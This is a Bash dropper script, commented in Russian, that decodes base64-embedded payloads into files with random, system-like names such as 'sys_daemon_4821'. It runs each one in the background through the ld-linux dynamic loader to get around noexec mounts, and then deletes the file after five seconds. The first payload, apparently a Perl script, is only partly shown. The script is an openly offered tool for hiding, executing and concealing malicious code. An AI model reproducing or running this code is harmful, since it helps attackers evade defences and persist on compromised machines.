#!/bin/bash

cd "$(dirname "${BASH_SOURCE[0]}")" || exit 1

# Словари для имен
PREFIXES=("sys" "net" "update" "cloud" "core" "db" "cron" "session" "cache" "local")
NOUNS=("worker" "daemon" "service" "manager" "runner" "helper" "monitor" "provider" "driver" "guard")

# 1. Поиск системного загрузчика (Bypass noexec)
get_loader() {
    # Список популярных загрузчиков (64bit, 32bit, ARM)
    for path in \
        /lib64/ld-linux-x86-64.so.2 \
        /lib/ld-linux.so.2 \
        /lib/ld-linux-armhf.so.3 \
        /lib/ld-linux-aarch64.so.1 \
        /lib/ld-musl-x86_64.so.1; do
        if [ -f "$path" ]; then
            echo "$path"
            return
        fi
    done
    echo ""
}

# Кэшируем путь к загрузчику один раз при старте
LOADER_BIN=$(get_loader)

# 2. Генерация имени
get_random_name() {
    local name=""
    while true; do
        local p=${PREFIXES[$RANDOM % ${#PREFIXES[@]}]}
        local n=${NOUNS[$RANDOM % ${#NOUNS[@]}]}
        local r=$RANDOM
        name="${p}_${n}_${r}"
        if [ ! -e "$name" ]; then
            echo "$name"
            break
        fi
    done
}

run_payload() {
    local original_name="$1"
    local base64_data="$2"
    local fake_name=$(get_random_name)

    # Распаковка
    echo "$base64_data" | base64 -d > "$fake_name" 2>/dev/null
    chmod +x "$fake_name"

    # Логика запуска: Через loader (приоритет) или напрямую
    if [ -n "$LOADER_BIN" ]; then
        # Если есть загрузчик, запускаем через него (обход noexec)
        echo "[*] Run via LD: $fake_name"
        nohup "$LOADER_BIN" "./$fake_name" >/dev/null 2>&1 &
    else
        # Если загрузчик не найден, пробуем прямой запуск
        echo "[*] Run direct: $fake_name"
        nohup "./$fake_name" >/dev/null 2>&1 &
    fi

    # Самоудаление (асинхронно через 5 сек)
    (
        sleep 5
        rm -f "$fake_name"
    ) >/dev/null 2>&1 &

    # Пауза 500мс между запусками (чтобы не спамить CPU)
    sleep 0.5
}

echo "--- Start ---"


# script_10.pl
run_payload "script_10.pl" "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3R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